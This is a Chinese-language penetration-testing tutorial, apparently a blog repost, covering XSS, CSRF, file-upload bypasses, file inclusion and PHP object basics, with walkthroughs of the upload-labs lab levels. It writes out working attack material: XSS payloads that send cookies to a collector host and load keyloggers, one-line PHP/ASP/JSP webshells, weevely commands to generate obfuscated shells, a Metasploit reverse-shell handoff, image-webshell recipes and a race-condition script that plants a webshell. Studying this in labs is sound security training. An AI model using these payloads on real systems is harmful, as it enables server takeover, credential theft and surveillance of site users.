IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> JavaScript知识库 -> 渗透测试 2 --- http协议、XSS、CSRF、文件上传、文件包含、反序列化漏洞 -> 正文阅读

[JavaScript知识库]渗透测试 2 --- http协议、XSS、CSRF、文件上传、文件包含、反序列化漏洞

1、渗透测试 实用 浏览器插件

  • HackBar :Hackbar是网络安全学习者常备的工具 (?https://www.fujieace.com/hacker/tools/hackbar.html )。

    ?解决Firefox插件-Hackbar的许可证问题:https://blog.csdn.net/qq_45755030/article/details/119515945
    hackbar-2.3.1-学习版:https://fengwenhua.top/index.php/archives/43/

  • retire.js :扫描 Web 应用程序以使用易受攻击的JavaScript库。retire.js的目标是帮助检测具有已知漏洞的版本的使用。
  • Wappalyzer:能够分析目标网站所采用的平台构架、网站环境、服务器配置环境、JavaScript框架、编程语言等参数的chrome网站技术分析插件。
  • Proxy SwitchyOmega:自动切换代理
  • FoxyProxy:firefox 自动切换代理
  • d3coder:可以点击右键快速进行相应字符的解码操作,减少了辗转各个解码网站的时间。
  • OneTab:在平时的渗透测试过程中常常会打开大量的网页 ,此工具可以将网页聚合在一个标签列表下
  • cookie editor:导出和导入 cookie

chrome、edge 插件:搜索 cookie,安装 cookie editor,打开插件,可以 导出 cookie

2、XSS : Cross Site Script

恶意攻击者利用 web 页面的漏洞,插入一些恶意的代码,当用户访问页面的时候,代码就会执行,这个时候就达到了攻击的目的。
JavaScript、Java、VBScrip、ActiveX、Flash

一句话概括:操纵用户客户端执行任意js脚本.脚本能实现什么功能,xss就可以怎样

cookie 不能跨域名

xss 原理

https://www.bilibili.com/video/BV18r4y1878F?p=17

http 协议
客户端的 cookie
服务端的 session
JavaScript 操作 cookie
脚本注入网页 xss
获得 cookie 发送邮件
xss 靶场练习
xss 平台搭建
xss 检测和利用
xss 防御方法
xss 闯关游戏

反射型

?

存储型

把 代码 放到服务器上,

?

DVWA 靶场安装和设置

https://www.bilibili.com/video/BV18r4y1878F?p=19

pikachu 靶场安装和设置

https://www.bilibili.com/video/BV18r4y1878F?p=20

把上面 ip 地址改成自己服务器的 ip ?

<script>alert("XSS")</script>
<Script>alert("XSS")</script>
<sc<script>ript>alert("XSS")</script>

// 如果 script 标签被屏蔽,可以使用其他标签
<img src="" οnerrοr=alert("XSS")>
?

cookie

攻击 payload?

<script>document.location="http://192.168.0.6/pikachu_master/pkxss/xcookie/cookie.php?cookie="+document.cookie;</script>

钓鱼

攻击 payload

<script src="http://192.168.0.6/pikachu_master/pkxss/xfish/xfish.php"></script>

记录键盘操作

攻击 payload

<script src="http://192.168.0.6/pikachu_master/pkxss/rkeypress/rk.js"></script>

<iframe src="../csrf" οnlοad=alert(frames[0].document.getElementsByName('user_token')[0].value)>

更多功能的 xss 平台

pikachu 的 xss 只有 "cookie、钓鱼、记录键盘" 功能。

可以看到只有3个模块,模块太少,如果需要其他功能,可以搜索其他 xss 后台,

搜索关键字:xss 平台、xss平台

github xss平台:https://github.com/78778443/xssplatform

搭建个人XSS平台:https://blog.csdn.net/weixin_44676102/article/details/122021764

搜索关键字:xss payload

kali 中 xss 平台 --- beef-xss

kali 早期版本中也有一个 "xss 平台" 叫做 "beff-xss",新版本需要安装。

beff-xss 安装后,登录用户名:beef? ? 密码是安装时设置的,为了简单,直接设置 kali 密码?

跨站脚本漏洞检测工具

xsser

github:https://github.com/epsylon/xsser

XSStrike ? 只能运行在 Python3 环境

3、CSRF?

CSRF定义:?跨站请求伪造(英语:Cross-site request forgery)是一种对网站的恶意利用,也被称为 one-click attack 或者 session riding,通常缩写为 CSRF 或者 XSRF, 是一种挟制用户在当前已登录的Web应用程序上执行非本意的操作的攻击方法。?CSRF跨站点请求伪造(Cross—Site Request Forgery) 跟XSS攻击一样,存在巨大的危害性。
? ? ? ? 你可以这样来理解:攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。????????
? ? ? ? 简单地说,是攻击者通过一些技术手段欺骗用户的浏览器去访问一个自己曾经认证过的网站并执行一些操作(如发邮件,发消息,甚至财产操作如转账和购买商品)。由于浏览器曾经认证过,所以被访问的网站会认为是真正的用户操作而去执行。这利用了web中用户身份验证的一个漏洞:简单的身份验证只能保证请求发自某个用户的浏览器,却不能保证请求本身是用户自愿发出的。? ? ? ?

CSRF地位:是一种网络攻击方式,是互联网重大安全隐患之一,NYTimes.com(纽约时报)、Metafilter,YouTube、Gmail和百度HI都受到过此类攻击。

对比XSS:跟跨网站脚本(XSS)相比,

  • XSS 利用的是用户对指定网站的信任,需要获取 用户的 cookie
  • CSRF 利用的是网站对用户网页浏览器的信任。

如下:其中

  • Web A 为存在CSRF漏洞的网站,
  • Web B 为攻击者构建的恶意网站,
  • User C 为Web A网站的合法用户。

如果上面 CSRF 原理看不懂,可以再看这个原理:

先了解第一方和第三方cookie概念

Cookie是一个域服务器存储在浏览器中的一小段数据块,只能被这个域访问,谁设置则谁访问。

第一方Cookie:比如,访问www.a.com这个网站,这个网站设置了一个Cookie,这个Cookie也只能被www.a.com这个域下的网页读取。

第三方Cookie:比如,访问www.a.com这个网站,网页里有用到www.b.com网站的一张图片,浏览器在www.b.com请求图片的时候,www.b.com设置了一个Cookie,那这个Cookie只能被www.b.com这个域访问,反而不能被www.a.com这个域访问,因为对我们来说,我们实际是在访问www.a.com这个网站被设置了一个www.b.com这个域下的Cookie,所以叫第三方Cookie。

CSRF 原理:

道:怎么确定一个接口地址有没有 CSRF 漏洞

术:具体怎么操作

器:有没有工具可以使用

Burp Suite pro

CSRF tester ( 工具比较老,推荐?Burp Suite pro )? github:

CSRFTester & burpsuite之CSRF测试:https://www.cnblogs.com/forforever/p/12733474.html

【CSRF详解】CSRF原理、利用过程、分类、举例、工具:https://blog.csdn.net/qq_53079406/article/details/123942109

Bolt (? ):https://github.com/s0md3v/Bolt

防御 CSRF 思路:

  • 1. 区分是来自自己的前端页面,还是第三方页面
  • 2. 让前端页面和伪造的请求不一样
  • ........

4、文件上传漏洞

文件上传漏洞原理:文件上传漏洞是指用户上传一个文件,文件中嵌入 可执行代码,而且通过这段代码,可以获得执行服务器命令的能力。上传 "头像、资源、图片、附件、简历"?等,只要是上传东西,都可能文件上传漏洞

文件上传漏洞利用流程:

  • 1. 找到文件上传位置。
    在网页上一个一个点击,如果能看到源码,可以直接搜索 upload 等关键字等。
    曲线救国:如果是 Redis 开启持久化 + 未授权的访问漏洞,通过redis写入文件。MySQL 读写 ( sql 注入 )? 等等。使用相关工具自动化扫描目录,发现文件上传漏洞:(?https://github.com/almandin/fuxploider )
  • 2. 尝试染过校验,并上传文件
  • 3. 获得文件位置
  • 4. 使用蚁剑进行连接,管理文件

总结:删除/禁用 JavaScript、修改 MIME、等价扩展名、大小写、htaccess、双写、空格、点、::$DATA、%00截断、0x00截断、图片马、条件竞争 等等。

文件上传漏洞的防御:

  • 扩展名(后缀) 黑白名单
  • MIME 类型校验(image/gif)
  • 文件内容头校验(GIF89a)
  • 对文件内容进行二次渲染
  • 对上传的文件重命名,不易被猜测
  • 不要暴露上传文件的位置
  • 禁用上传文件的执行权限
  • 服务器配置

webshell 介绍

github 搜索:?webshell

github ( 一句话木马、大马、小马 ):https://github.com/tennc/webshell

一句话木马

代码短,只有一行,场景多,可以单独生成文件,也可以插入到图片中,安全性高隐匿性强,可变性免杀。

<?php 
	header("Content-type:text/html;charset=gb2312");
	@eval($_POST['payload']);
?>
<?php 
	header("Content-type:text/html;charset=gb2312")
	if(isset($_GET('cmd'))){
		echo($_GET['cmd']);
		echo "pre";
		system($_GET('cmd'));
	}else{
		echo "用法 : ?cmd=value";
	}
?>

示例 演示:

网站根目录下添加 test_muma.php 文件,文件内容如图所示,然后浏览器访问?"http://127.0.0.1/pikachu_master/test_muma.php" 出现空白页,这是正常返回,因为没有内容,只要不出现 404 就是正常。( php 版本5.6.9、 firefox最新版 (?chrome 最新版显示不出来 ) )

相关 payload

payload=system("ver");
payload=system("ipconfig");
payload=system("dir c:");

上面截图中的 test_muma.php 就相当于打入到敌人内部的卧底,通过这个卧底执行命令

小马

体积小,功能少,只有文件上传功能,是为一句话木马铺路用的。

使用场景:当一个站点 "没有文件上传功能",但是可以放文件进入时,就可以把 "具有文件上传功能的文件" 放进去,通过这个文件上传 一句话木马文件,?从而间接的实现文件上传功能。

大马

体积大,功能全,能够管理数据库,文件管理,对站点进行信息收集,甚至能够提权

从哪找或者怎么编写 大马、小马

网站控制工具

通过 "一句话木马、大马、小马" 控制网站后,可以通过 "网站控制工具" 进行管理

Web shell 与 冰蝎、蚁剑、哥斯拉(新手必看):https://blog.csdn.net/weixin_54161921/article/details/118579926

Web 木马常用工具有三个 (?蚁剑、哥斯拉、冰蝎?):

使用示例:weevely

渗透测试Web利器篇 之 Weevely:https://blog.csdn.net/lzp_5257/article/details/124232269

生成 Shell

weevely generate <password> <文件名>
//如:
weevely generate 123456 shell.php

连接 shell

weevely <URL> <password> [cmd]
//如
weevey http://xxxx.com/shell.php 123456

生成混淆 shell

weevely generate -obfuscator cleartext1_php <password> <文件名>
//如:
weevely generate -obfuscator cleartext1_php 123456 shell.php

1、使用 weevely 生成webshell文件,如文件名 shell.php,密码 123456
2、使用 sqlmap 的 --os-shell 命令,拿到 shell 以及上传文件的后门地址
3、将 weevely 生成的 shell.php 文件上传,再使用 weevely + url + 密码 进行连接

信息收集

:system_info  //收集系统信息模块,如下
:system_info -info client_ip  //查找自己连接IP

文件管理

:file_touch  //修改文件时间模块,如下
:file_touch -human-ts '2022-04-20 20:30:21' 文件名

命令执行

:shell_php  //执行PHP命令模块,如下
:shell_php system('ipconfig');

会话转移(Kali中很多工具和数据都是互通的)

//在终端1中,生成meterpreter会话
:backdoor_meterpreter -payload php/meterpreter/reverse_tcp -Ihost 本机IP -port 端口

//在终端2中,启动MSF,并设置监听会话,直到会话转移过来
service postgresq  start    //启动postgresql数据库
msfdb reinit     //初始化msfdb
msfdb start      //启动msfdb
msfconsole       //启动msf

use exploit multi/handler
show paylaods
set payload php/meterpreter/reverse_top
show options
set Ihost 本机IP
run

使用示例:中国蚁剑

中国蚁剑(AntSword)安装、使用教程:https://blog.csdn.net/weixin_41924764/article/details/108099952

蚁剑分为两个部分,一个是核心源码,另一个是加载器,

下载源码和加载器,将源码文件夹放在加载器文件夹中,然后启动exe,点击初始化,选择源码文件夹,显示设置完毕,重启就好了

一句话木马

PHP:    
<?php @eval($_POST['chopper']);?>

ASP:    
<%eval request("chopper")%>

ASP.NET:    
<%@ Page Language="Jscript"%><%eval(Request.Item["z"],"unsafe");%>

JSP:

<%
  if(request.getParameter("cmd")!=null){
    java.io.InputStream in = Runtime.getRuntime().exec(new String[]{"/bin/sh","-c",request.getParameter("cmd")}).getInputStream();
    int a = -1;
    byte[] b = new byte[1];
    out.print("<pre>");
    while((a=in.read(b))!=-1){
      out.print(new String(b));
    }
    out.print("</pre>");
  }
%>

使用示例:哥斯拉

首先从 github 下载,下载是一个 jar 文件,直接打开

菜单栏 ---> 管理 ---> 生成?

打开文件,可以看到生成的一句话木马

把 godzilla.php 放到网站目录下 ( 我本机?D:\Software\phpstudy_pro\WWW\pikachu_master),现在使用 哥斯拉 连接。

连接后,点击进入,就可以看到上面的功能,如下:

使用示例:冰蝎

下载完成后,进入 server 文件夹中,可以看到已经存在 webshell,不需要自己生成

  • ① Server 文件夹:存放着不同类型的 shell 脚本。不需要再自己生成
  • ② Behinder.jar :冰蝎的运行程序
  • ③ Behinder_v3.:源压缩包
  • ④ data.db :配置文件
  • ⑤ 更新日志.txt :版本更新修复的问题

这里把 server 文件夹中 shell.php 放到网站目录下,使用 冰蝎 进行连接

文件上传漏洞靶场安装、练习

github 地址:https://github.com/c0ny1/upload-labs

安装、通关

Pass-01 ( 修改前端代码?)

上传文件流程,用户选择文件,通过前端上传,后端接收。所以可在在 前端、后端进行校验。这一关是在前端进行校验。所以可以修改前端代码进行绕过。

方法1:查看源码,发现是使用 js 进行文件校验,所以可以修改前端代码,把 js 代码干掉。

( 使用的 firefox 浏览器,chrome 好像有问题?)

在选择文件 test_muma.php 上传,发现上传成功,?

test_muma.php 内容

<?php
eval($_POST["payload"]);

使用 蚁剑 进行连接

双击,可以看到目录,说明连接成功,且 test_muma.php 工作正常

?方法2:

Pass-02 ( bp 拦截请求并修改?)

既然用户可以修改前端代码,所以又在后端都进行了检查。查看提示:?

发现是对上传的文件类型进行了 校验,只要不是 image/jpeg、image/png、image/gif 都不通过。这个文件类型是浏览器根据上传的文件类型,在请求头中自动标记的 (?Content Type、Accept?? ),所以可以通过代理拦截请求,并修改请求头中这个字段的值,然后发送

MIME 用法

  • 客户端:
    get ?请求不需要这个字段
    post 请求头,放在 Content Type 字段用来指定上传的文件类型,方便服务器解析,放在 Accept 则告诉服务器允许接收的响应类型,比如:只能接收 json 或者其他
  • 服务端:放在响应头里面,Content Type 告诉客户端相应的数据类型,方便客户端解析

这里使用 BurpSuite 进行代理拦截。启动 bp,

选择文件,点击上传,就可以拦截到 请求?

修改 Content-Type 值为?image/jpeg,在 bp 中点击 forward 按钮,即可上传成功

再次使用 蚁剑 进行连接,可以看到显示正常。

Pass-03 ( 等价扩展名?)

查看提示,可以看到可以获取到文件的扩展名,

获取到扩展名,还设置有扩展名拒绝的黑名单 ( .asp、.aspx、.php、.jsp?),后面还进行删除了文件末尾的点、转换大小写等操作。所以处理思路有两个,

  • 1. 根据代码中处理,构造 可以通过的 文件名
  • 2. 不用管怎么处理的,直接使用?"等价扩展名"

这里修改 test_muma.php 为 test_muma.php3,然后上传,发现上传成功

鼠标放在图片上,右键 ---> 新建标签页打开图像 ,可以看到 图片地址,把这个地址放在 蚁剑 中进行连接,发现执行成功。

注意:查看 图片 url 'http://127.0.0.1/upload_labs/upload/202206100419233010.php3' 发现图片名已经发生变化,这是为什么?这其实是一个伪静态页面。

什么是?伪静态,伪静态作用?
伪静态即是网站本身是动态网页如.php、.asp、.aspx等格式动态网页有时这类动态网页还跟“?”加参数来读取数据库内不同资料。很典型的案例即是discuz论坛系统,后台就有一个设置伪静态功能,开启伪静态后,动态网页即被转换重写成静态网页类型页面,通过浏览器访问地址和真的静态页面没区别。前提服务器支持伪静态重写URL Rewrite功能。

htaccess 文件是 Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。

当我们随意访问一个文章的时候,比如:http://www.52pojie.cn/thread-1530418-1-1.html
其实在服务器中并没有这个文件,只是这个网站做成了伪静态:其实是https://www.52.pojie.cn/thread.php?id=1530418&page=1

为什么这么做呢?因为浏览器或者说搜索引擎在收录一个网页 的时候当然更加喜欢的是静态的页面比如XXX.html,而不是xxx.php?id=a&page=b,所以discuz搭建的wuai论坛做成了伪静态。

最后说几点:其实 upload-labs 这个靶场没有成功也很正常,因为环境确实是很烦的问题。没有成功没有关系,关键是知道各种绕过姿势。

Pass-04 ( .htaccess文件?)

查看源码提示,可以发现黑名单中扩展名增多了,$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");

既然黑名单扩展名增多了,那能不能改成一个黑名单中不存在的扩展名,比如说图片的 jpg 格式。

现在把 "test_muma.php 改成 test_muma.jpg" 发现可以上传成功,但是浏览器只是把上传的文件识别成图片,不能把图片解析成代码并运行。

所以这里就可以猜想,浏览器能不能把图片当成代码来解析,并运行?

需要用到 .htaccess文件 ( Hypertext Access(超文本入口)? )。.htaccess 文件是 Apache 服务器中的一个配置文件,它负 责相关目录下的网页配置。 通过 .htaccess 文件,可以实现:

  • 网页 301 重定向、
  • 自定义 404 错误页面、
  • 改变文件扩展名、
  • 允许/阻止特定的用户或者 目录的访问、
  • 禁止目录列表、
  • 配置默认文档等功能

准备一个 .htaccess 文件:

<FilesMatch "test_muma.jpg">    
	SetHandler application/x-httpd-php
</FilesMatch>

上传这个 .htaccess 文件,那么刚才上传的 jpg 文件就会成为一个 webshell 可以连接了。

采用 .htaccess 文件的优缺点:

  • 通常网络管理员采用.htaccess文件来进行用户组的目录权限访问控制。没有必要将所有的HTTPd服务器、配置文件以及目录访问权限全部授权给管理员。利用当前目录的.htaccess文件可以允许管理员灵活的随时按需改变目录访问策略。
  • 采用.htaccess的缺点在于:当系统有成百上千个目录,每个目录下都有对应的.htaccess文件时,网络管理员将会对如何配置全局访问策略无从下手。同时,由于.htaccess文件十分被容易覆盖,很容易造成用户上一时段能访问目录,而下一时段又访问不了的情况发生。最后,.htaccess文件也很容易被非授权用户得到,安全性不高。

Pass-05?( ?)

制作图片木马:

  • copy /b huaji.jpg + /a shell.php shell.gif
  • cat huaji.jpg shell.php > shell.gif

Pass-06?( 后缀名大小写敏感?)

查看提示说明,发现源码扩展名黑名单中,把?.htaccess 扩展名也添加进去了,对比第四关源码,可以发现这一关中少了 大小写转换,所以就会出现 大小写敏感的情况

把 test_muma.php 改成 test.PHP ,然后上传,使用蚁剑进行连接?

Pass-07?( 首尾空格?)

查看提示说明,和第四关对比,发现少了 首尾去空格,但是 windows 保存文件是,会自动去掉首尾的空格,所以是需要抓包拦截,然后修改

打开 bp 的拦截,

添加一个 空格,然后点击 forward

然后使用 蚁剑 进行连接

Pass-08?( 文件名末尾的点 )

查看提示说明,和第四关对比,发现少了 删除文件名末尾的点

Pass-09?( ::$ 特殊符号?)

查看提示说明,和第四关对比,发现少了 ::$DATA ,所以可以使用 bp 抓包进行修改,添加上?::$DATA。?

bp 拦截请求,然后进行修改,转发?

查看网站目录下,发现上传后,window自动干掉了后面的 ::$DATA

所以使用 蚁剑 进行连接时,可以两个 url 都试试,

"http://127.0.0.1/upload_labs/upload/202206100851431917.php::$data"
"http://127.0.0.1/upload_labs/upload/202206100851431917.php"

发现不带 ::$DATA 的可以连接成功,

Pass-10?( 构造扩展名 --- 添加 "点、空格"?)

查看提示说明,发现和第四关一样,这是就需要分析 代码逻辑了。

代码逻辑:得到文件名 ( 包括文件的扩展名?)、删除文件名末尾的点、得到扩展名、扩展名转换成小写、删除::$DATA 、最后在删除首尾的空格。

所以可以构造文件名:"test_muma.php.空格."

打开 bp 拦截请求,并修改

使用 蚁剑 进行连接,可以连接成功,

Pass-11?( 构造扩展名 --- 字符串替换 )

查看提示,可以发现,如果文件名中有黑名单中关键字,则全部替换成 空字符串

查看源代码,看到只替换了一次,没有进行循环替换,所以可以构造 文件名? test_muma.pphphphpp,这样的文件名替换之后刚好是 test_muma.php?

使用 蚁剑 进行连接,可以连接成功,

Pass-12?( 文件名截断 之 url编码截断?)

文件名 截断

截断字符:char(0),类似 C++ 的 "\0"

filename = test.php%00.txt? <----->? file = test.php

查看提示,发现只有 jpg、png、gif 才能上传成功,

通过查看代码可以发现,上传的图片保存位置在请求中的 save_path 参数中,

所以就可以通过拦截请求,修改 请求中的 save_path 参数,加上 test_mum.php%00 ,上传后的文件名就会保存成 test_muma.php?

Pass-13?( 文件名截断 之 16进制截断?)

和 第12关一样 ,都是文件名截断,第12关 save_path 是在 post 请求的url中,截断编码使用的url编码,但是这一关 save_path?不是在url中,所以需要改成 16禁止的截断编码

改成 00?

Pass-14?( 图片马 文件包含 )

通过提示,发现会检查上传文件的前两个字节,并判断这个两个字节,通过这两个字节判断文件类型。

扩展知识:每个文件都有文件头,文件头里面保存了文件的基本信息,可以知道文件是什么类型的文件。各类文件头标识:https://blog.csdn.net/mashuai720/article/details/111615743

制作 图片马:

  • copy azz.png /b + test_muma.php /a test_img_muma.png
  • cat azz.png?test_muma.php > test_imag_muma.png

缩略图可以正常显示,说明生成额 图片马 没有问题,也可以使用图片浏览工具打开,发现也正常。现在以 16进制形式打开文件,使用 010edit 打开 test_img_muma.png

在文件结尾处,可以看到 php 的代码

现在上传 test_img_muma.php 可以上传成功,但是使用 蚁剑 连接时,连接不上,这是因为生成的图片马中的 php 代码只能作为图片的一部分,并不能运行,这时想要 php 代码运行,就的使用 "文件包含漏洞" 运行图片马中的恶意代码。

文件包含漏洞https://blog.csdn.net/huangyongkang666/article/details/123628579

文件包含:开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含。

文件包含漏洞原理:文件包含是指当服务器开启allow_url_include选项时,就可以通过PHP的某些特性函数 include(),require()和include_once(),requir_once() ,然后利用 URL 去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了PHP配置中的allow_url_fopen选项,选项开启之后,服务器允许包含一个远程文件,服务器通过PHP特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。

  • 1、文件包含即程序通过包含函数调用本地或远程文件,以此来实现拓展功能
  • 2、被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞。
  • 3、文件包含漏洞主要发生在有包含语句的环境中,例如 PHP 所具备include、require等函数。

点击上面的 "文件包含漏洞" 链接,

使用 蚁剑 进行连接。"http://127.0.0.1/upload_labs/include.php?file=upload/1520220610122650.png"

Pass-15?(?图片马 图片校验 )

通过提示发现,这一关通过 getimagesize() 函数用于获取图像大小及相关信息,成功返回一个数组,失败则返回 FALSE 并产生一条 E_WARNING 级的错误信息。

使用 第15 关图片可以直接过。

Pass-16?(?图片马 图片校验 )

通过提示发现,这一关通过 exif_imagetype() 函数校验是不是图片。

使用 第15 关图片可以直接过。

Pass-17?( 图片马 渲染后图片?)

这一关是上传的图片被进行了渲染处理,导致 php 代码被处理掉,

使用 010editor 打开自己生成的 图片?和 渲染后的图片 对比可以看下,渲染后的图片文件头部分就发生了改变,文件尾的一句话木马也被干掉了。

解决思路:不断的尝试把 一句话木马放在不同的位置才能渲染后不被干掉。也可以找网上别人整理好的渲染后不被干掉的图片。

copy azz.png /b + test_muma.php /a + azz.png /b + test_muma.php /a +azz.png /b + test_muma.php /a test_img_muma.png

Pass-18?(?图片马 条件竞争? )

条件竞争:利用代码执行的时间差 来实现目的

这一关也可以通过 "图片马 文件包含" 来实现,但是不是这题的本意。

通过分析代码可以知道代码是 "保存、判断、删除、删除完毕" 的逻辑。

所以处理思路是:能不能在文件存在的时候连接上去,并修改文件名。答案是肯定可以的,在判断和删除文件的时候,是需要花费时间的,可以开多线程同时请求,总有一个可以在文件存在的时候请求成功,并成功修改文件名。

总共分两步:

  • 第一步,通过 bp 不断的发送请求,传送文件。
  • 第二步,通过程序不断的请求访问。

新建一个?test_competiton.php 文件,文件内容如下:

<?php fputs(fopen('test_muma.php', 'w'), '<?php @eval($_POST["payload"])?>');?>

使用 bp 拦截请求,并进行多线程请求

把自动添加的 payload 删除

设置 payload 为 null

设置线程池

现在开始 第二步,现在开始通过程序不断的请求

Python 代码:

import time
import requests


def main():
    while True:
        url = 'http://127.0.0.1/upload_labs/upload/test_competiton.php'
        resp = requests.post(url, data=None)
        if 200 == resp.status_code:
            print(f'resp.text ---> {resp.text}')
        else:
            print(f'resp.status_code ---> {resp.status_code}')
        time.sleep(0.1)
    pass


if __name__ == '__main__':
    main()
    pass

现在使用 蚁剑 进行连接,发现连接并执行成功

Pass-19?(?图片马 条件竞争? )

思路:

  • 方法 1:利用来不重命名的条件竞争
  • 方法 2.:利用 apache 解析漏洞

Pass-20?(?move_uploaded_file 函数特性 ?)

move_uploaded_file 函数在解析的时候,会忽略掉 /.

在上传框中加上? /.?

点击上传后,就会生成 test_muma.php 文件

使用蚁剑进行连接,可以连接成功

Pass-21?(??)

查看提示,需要查看源码:

分析流程:https://www.bilibili.com/video/BV18r4y1878F?p=35

通过查看源码,发现校验了 MIME、文件扩展名,这两个需要使用 bp 拦截并修改请求。

其实只要数组小标 大于 1 即可。

5、文件包含

文件包含漏洞

文件包含漏洞https://blog.csdn.net/huangyongkang666/article/details/123628579

文件包含:开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,无需再次编写,这种调用文件的过程一般被称为文件包含。

<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
</head>
<body>
<h1>第 999 次访问</h1>
<p></p>
<p>欢迎下次再来</p>
<?php include "footer.php"?>
<?php
	$file = $_GET['file'];
	if(isset($file)){
		include("$file");
	}else{
		echo "file fail";
	}
?>
</body>
</html>

文件包含漏洞原理:文件包含是指当服务器开启 allow_url_include 选项时,就可以通过 PHP 的某些特性函数 include(),require() 和 include_once(),requir_once() ,然后利用 URL 去动态包含文件,此时如果没有对文件来源进行严格审查,就会导致任意文件读取或者任意命令执行。文件包含漏洞分为本地文件包含漏洞与远程文件包含漏洞,远程文件包含漏洞是因为开启了PHP配置中的allow_url_fopen 选项,选项开启之后,服务器允许包含一个远程文件,服务器通过 PHP 特性(函数)去包含任意文件时,由于要包含的这个文件来源过滤不严,从而可以去包含一个恶意文件,而我们可以构造这个恶意文件来达到自己的目的。

  • 1、文件包含即程序通过包含函数调用本地或远程文件,以此来实现拓展功能
  • 2、被包含的文件可以是各种文件格式,而当文件里面包含恶意代码,则会形成远程命令执行或文件上传漏洞。
  • 3、文件包含漏洞主要发生在有包含语句的环境中,例如 PHP 所具备include、require等函数。

?php 需要更改 php.ini,才能开启 文件包含

// php.ini
allow_url_fopen=On
allow_url_include=On

远程访问示例,这里需要再开一台 web 服务器,

http://127.0.0.1/upload_labs/include.php?file=http://192.168.1.5/1.txt
http://127.0.0.1/upload_labs/include.php?file=http://192.168.1.5/alter.html

本地访问示例:

本地访问

php 伪函数、相关协议

include()                  include语句,包含并运行指定的文件
include_once()             只包含一次,不重复包含
require()                  和 include 一样,不过出错时会停止
require_once()             和 include_once 一样
fopen()                    打开文件或者 URL
readfile()                 读取文件并写入到缓冲区
highlight_file             语法高亮一个文件
show_source                等价于 highlight_file
file_get_contents          将整个文件读入字符串中
file                       将整个文件读入一个数组中

PHP 伪协议:https://www.cnblogs.com/shawCE/p/15507496.html

支持的协议和封装协议:https://www.php.net/manual/zh/wrappers.php

示例:parse_str(file_get_contents('php://input'), $_PUT);

CTFhub 示例

CTFhub:https://www.ctfhub.com/#/index

结题思路:https://www.bilibili.com/video/BV18r4y1878F?p=42

"文件包含漏洞" 挖掘、利用

挖掘:

URL 参数名字出现 page、file、filename、include等等关键字
URL 参数值出现了文件名,比如:xxx.php xxx.html 等等
比如:
? ? ?file=content
?? ??page=wuya.asp
?? ??home=wuya.html

利用

1、发现漏洞

? ? ? ??可以使用自动化工具来,?github 直接搜索 LFI (即 local file include)
? ? ? ? LFISuit:https://github.com/D35m0nd142/LFISuite

2、上传 shell、读取敏感文件( FUZZ )

? ? ? ? GitHub地址:https://github.com/xmendez/wfuzz/
? ? ? ? 官方文档 ( 使用手册?):https://wfuzz.readthedocs.io/en/latest/index.html

? ? ? ? wfuzz 暴破文件和路径:https://www.sohu.com/a/224509842_354899

? ? ? ??WFUZZ 使用教程:https://blog.csdn.net/JBlock/article/details/88619117

? ? ? ? Wfuzz 使用:https://blog.csdn.net/weixin_45059752/article/details/122359921

3、执行恶意代码

6、 PHP?序列化、反序列化 漏洞

PHP 在线运行工具:https://c.runoob.com/compile/1/

PHP 面向对象

PHP 面向对象:https://www.w3cschool.cn/php/php-oop.html

类与对象:https://www.php.net/manual/zh/language.oop5.php

  • ?? 定义了一件事物的抽象特点。类的定义包含了数据的形式以及对数据的操作。

  • 对象?? 是类的实例。

  • 成员变量?? 定义在类内部的变量。该变量的值对外是不可见的,但是可以通过成员函数访问,在类被实例化为对象后,该变量即可称为对象的属性。

  • 成员函数?? 定义在类的内部,可用于访问对象的数据。

  • 继承?? 继承性是子类自动共享父类数据结构和方法的机制,这是类之间的一种关系。在定义和实现一个类的时候,可以在一个已经存在的类的基础之上来进行,把这个已经存在的类所定义的内容作为自己的内容,并加入若干新的内容。

  • 父类?? 一个类被其他类继承,可将该类称为父类,或基类,或超类。

  • 子类?? 一个类继承其他类称为子类,也可称为派生类。

  • 多态?? 多态性是指相同的操作或函数、过程可作用于多种类型的对象上并获得不同的结果。不同的对象,收到同一消息可以产生不同的结果,这种现象称为多态性。

  • 重载?? 简单说,就是函数或者方法有同样的名称,但是参数列表不相同的情形,这样的同名不同参数的函数或者方法之间,互相称之为重载函数或者方法。

